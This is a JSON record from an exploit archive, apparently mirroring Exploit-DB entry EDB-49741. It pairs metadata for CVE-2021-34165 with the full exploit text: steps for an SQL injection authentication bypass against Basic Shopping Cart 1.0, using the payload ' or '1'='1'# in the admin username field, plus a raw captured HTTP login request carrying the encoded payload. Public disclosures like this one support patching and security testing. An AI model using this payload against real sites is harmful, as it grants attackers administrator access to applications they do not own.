{"exploit":{"id":"EDB-49741","name":"Basic Shopping Cart 1.0 - 'admin_username' SQL Injection (SQLi) / Authentication Bypass","description":"Basic Shopping Cart 1.0 - 'admin_username' SQL Injection (SQLi) / Authentication Bypass","cves":["CVE-2021-34165"],"author":"Viren Saroha","published":"2021-04-05","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49741","path":"exploits/php/webapps/49741.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49741.txt","vulnerabilities":[{"id":"CVE-2021-34165","state":"PUBLISHED","title":null,"titleSource":null,"description":"A SQL Injection vulnerability in Sourcecodester Basic Shopping Cart 1.0 allows a remote attacker to Bypass Authentication and become Admin.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-34165","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-34165"},"updatedAt":"2024-08-04T00:05:52.395Z","retrievedAt":"2026-11-27T01:57:42.960Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49741.png?v=2","url":"https://exploitbin.com/exploits/EDB-49741","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49741/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49741/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Basic Shopping Cart 1.0 - Authentication Bypass\n# Date: 2021-04-03\n# Exploit Author:  Viren Saroha (illusion)\n# Vendor Homepage: https://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html\n# Software Link: https://www.sourcecodester.com/download-code?nid=10964&title=Basic+Shopping+Cart+using+PHP%2FMySQL+with+Source+Code\n# Version: 1.0\n# Tested on: Windows 10/Kali Linux\n\nPOC\n\nStep 1 -  Go to url http://localhost/EdgeSketch/index.php and Click on Admin\nStep 2 – Enter anything in username and password\nStep 3 – Click on Login and capture the request in burpsuite\nStep4 – Change the username to   ' or '1'='1'#\nStep 5 – Click forward and now you will be logged in as admin.\n\nREQUEST\n\nPOST /EdgeSketch/adminlogin.php HTTP/1.1\nHost: localhost\nContent-Length: 77\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://localhost\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://localhost/EdgeSketch/index.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=6b7072bb40c321cb336aacef057a0876\nConnection: close\n\nadmin_username=%27+or+%271%27%3D%271%27%23&admin_password=random&admin_login=","sha256":"30658a8aa2edc5ef5e845da3ce4780b2c876ba251ede55c3c2cb872303ba3c13","bytes":1455,"fetchedAt":"2026-11-27T17:12:43.743Z","encoding":"utf-8 (display only; download retains original bytes)"}